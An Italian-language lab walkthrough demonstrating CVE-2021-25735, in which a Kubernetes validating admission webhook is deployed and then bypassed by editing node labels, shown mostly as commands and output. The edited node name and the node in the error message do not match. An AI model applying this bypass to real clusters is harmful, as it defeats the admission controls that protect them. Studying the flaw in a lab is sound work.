
Sfruttamento di CVE-2021-25735: Bypass del Validating Admission Webhook di Kubernetes
Iniziamo eseguendo lo script gencerts.sh per generare certificati TLS e chiavi.
bash gencerts.sh
Per distribuire il controller di ammissione è necessario creare l'immagine del container Docker localmente, etichettarla e inviarla al proprio Dockerhub usando i comandi seguenti.
docker login
docker build -t validationwebhook:1.0 .
docker tag validationwebhook:1.0 darryk/dev:1.0
docker push darryk/dev:1.0
Ora puoi distribuire l'immagine creata con l'applicazione Node.js nel tuo cluster K8s. Il file webhook-deploy.yaml distribuirà tutti i componenti necessari nel tuo cluster.
kubectl apply -f webhook-deploy.yaml
Registriamo ora il nostro webhook con il server API di Kubernetes. Per farlo, creiamo un Base64 del file ca.crt creato in precedenza e sostituiamo CA_BUNDLE all'interno di webhook-registration.yaml.
cat ca.crt | base64
Infine, registriamo il webhook con il server API di Kubernetes.
kubectl apply -f webhook-registration.yaml
Eseguiamo una modifica nell'etichetta del nodo usando edit nodes e aggiungiamo una nuova etichetta.
kubectl edit nodes ip-172-20-61-82.ec2.internal
labels:
test: test
changeAllowed: "false"
Poiché ChangeAllowed è impostato su "false", otteniamo il seguente errore:
error: nodes "ip-172-20-46-130.ec2.internal" could not be patched: admission webhook "validationwebhook.validationwebhook.svc" denied the request: Validation failed You can run
kubectl replace -f /tmp/kubectl-edit-irc64.yamlto try this update again.
Se riproviamo a modificare il nodo eseguendo la seguente modifica:\
labels:
test: test
changeAllowed: "true"
In questo caso l'azione di modifica è stata accettata bypassando il controller di ammissione.